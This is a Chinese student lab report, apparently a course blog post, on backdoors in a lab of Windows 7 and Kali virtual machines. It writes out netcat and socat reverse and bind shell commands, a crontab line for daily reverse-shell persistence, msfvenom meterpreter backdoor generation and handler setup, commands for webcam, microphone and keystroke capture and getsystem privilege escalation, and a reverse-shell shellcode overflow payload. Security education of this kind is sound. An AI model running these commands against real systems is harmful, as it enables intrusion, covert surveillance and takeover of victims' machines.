20175133 于沛辰 Exp2 后门原理与实践

20175133 于沛辰 Exp2 后门原理与实践

 

0.基础知识

0.1 后门概念

  后门就是不经过正常认证流程而访问系统的通道。

0.2 哪里有后门?

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

  狭义定义:

  • 特指潜伏于操作系统中专门做后门的一个程序,“坏人”可以连接这个程序
  • 远程执行各种指令。
  • 概念和木马有重叠

0.3 常用后门工具:netcat

  • 又名nc,ncat
  • 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用

1.实验内容

1.1 Win获得Linux Shell

以下实践Windows基本Win7-64bit, Kali 2020-64bit.

·打开Windows监听

在虚拟机win7上调出命令指示符输入指令 ipconfig 查看地址

 打开监听,输入指令 ncat.exe -l -p 5133

 ·Linux反弹连接win

先输入指令 apt-get install ufw 安装,然后再输入指令 ufw disable 关闭kali防火墙

 在kali的终端输入命令 nc 192.168.199.136 5133 -e /bin/sh 

windows下获得一个linux shell,可运行任何指令,如ls

·Linux获得Win Shell

在kali终端输入指令 ifconfig 查看地址

输入指令 nc -l -p 5133 ,打开监听

Windows反弹连接Linux,在虚拟机win7终端输入命令 ncat.exe -e cmd.exe 192.168.199.130 5133 

Linux下看到Windows的命令提示

 ·nc传输数据

在虚拟机Win7输入指令 ncat.exe -l 5133 建立连接

在Linux中连接Windows,输入指令 nc 192.168.199.140 5133

建立连接后传输数据

 

·启动corn

在Windows终端输入 ncat.exe -l 5133 建立监听

在Linux终端输入 crontab -e,选择[3]

并在最后一行添加 20 4 * * * /bin/netcat 192.168.199.140 5133 -e /bin/sh ,意为每天4:20执行反向连接指令

到时间(4:20)时,受到反向连接

 

 

1.2 使用socat获取主机操作Shell, 任务计划启动

·下载socat,解压后直接使用

·创建新任务

路径:Windows->控制面板->管理工具->任务计划程序。

·新建触发器并设置所有用户

 

·新建操作,在程序或脚本处选中之前解压的socat文件,并添加参数 tcp-listen:5133 exec:cmd.exe,pty,stderr  

 

·注销Windows重新登陆后,就可以看到“ypcat”正在运行

 

·在Linux终端输入 socat - tcp:192.168.199.139:5133 ,能看到获得shell,说明成功启动任务计划

 

 

1.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

·在Linux终端输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.139 LPORT=5133 -f exe > 20175133_backdoor.exe 

·输入后发现是软件版本较低,会出现以下提示

·输入指令 gem install bundler:1.17.3 安装版本为1.17.3的bundler

·安装好后,在Windows终端输入指令 ncat.exe -lv 5133 > 20175133_backdoor.exe ,建立监听,准备接收

 ·在Linux终端输入指令: nc 192.168.199.142 5133 < 20175133_backdoor.exe ,将后门程序20175133_backdoor.exe传送到Windows中

·可以看到来自Linux IP 192.168.199.130

 

·并看到生成的后门文件

·在Linux再打开一个终端,并输入 msfconsole ,打开msfconsole控制端

  依次输入,分别设置payload,LHOST,LPORT

  • use exploit/multi/handler启用侦听

  • set payload windows/x64/meterpreter/reverse_tcp 

  • set LHOST 192.168.199.130

  • set LPORT 5133 

  • exploit 开始监听

 在Windows中打开之前的后门文件,可以看到Linux获得了Windows的shell

 

1.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

 ·接上一步继续

 ·在kali终端输入指令 record_mic 截获音频

·输入指令 webcam_snap 使用摄像头拍照

 ·输入指令 screenshot 截屏

 

 ·输入命令 keyscan_start 记录击键,命令 keyscan_dump 查看击键记录

·输入指令 getuid 查看当前用户, getsystem 提权

·截获到:

 

1.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

·在官网下载用于反弹连接的shellcode

·参照实验一,关闭内存地址随机化,设置堆栈可执行

·根据上一次的步骤,可以得到shellcode地址为:0xffffd210+4=0xffffd214(终端一)

·打开刚才下载的文件里的c文件,并添加自己得到的shellcode地址生成新的shellcode

·再打开一个终端,输入(终端二):

perl -e 'print "A" x 32;print"\x14\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2
\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff
\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\
x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"
' > input_shellcode

·打开第三个终端,打开msfconsole,依次输入

use exploit/multi/handler  // 使用监听
set payload linux/x86/shell_reverse_tcp  
set LHOST 127.0.0.1  
set LPORT 4444  //使用默认主机号、端口号       
show options
exploit // 设置完成

·设置完成后,终端二输入指令 (cat input_shellcode;cat) | ./pwn1 可以看到监听控制台获得shell

 

 

2.问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:通过第三方网站下载软件(安装包)有很大概率,或者在安装软件时被诱导安装后门。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:Windows:将后门伪装成程序让受害者自己运行,或者引诱受害者运行;定时启动

linux:也可以定时启动、将其绑定到其他文件上,运行该文件时启动,或通过corn启动

(3)Meterpreter有哪些给你映像深刻的功能

答:被攻击机的隐私一览无余,尤其是开启摄像头、录音截屏等功能,随时会被监视,毫无隐私可言

(4)如何发现自己有系统有没有被安装后门?

答:初步可以打开杀软进行检查,也可以自己查看进程,看看是否有有嫌疑的进程,有一定条件的可以自行查看端口,是否有无故开启的端口。

 

3.实验感想

  这次的实验遇到了非常多的问题,足足做了4天之多,从不能安装启用msf再到接收不到被攻击机的shell,询问了许多同学,也得到了老师的帮助,好在最后问题都逐一化解。这次实验让我更加深刻地认识到了后门的“恐怖”,也让我加强了网络的防患意识,做完实验后我迅速打开了防火墙,避免在自己疏忽的情况下被植入后门,总而言之,这次实验不仅让我站在“攻击者”的角度学习、体验了获取别人的方法和途径,也让我感受到“受害者”的无奈和任人宰割,希望通过这次实验,时时刻刻提醒自己,注意网络安全。

 

posted @ 2020-03-19 01:59  YuPPP  阅读(260)  评论(0编辑  收藏  举报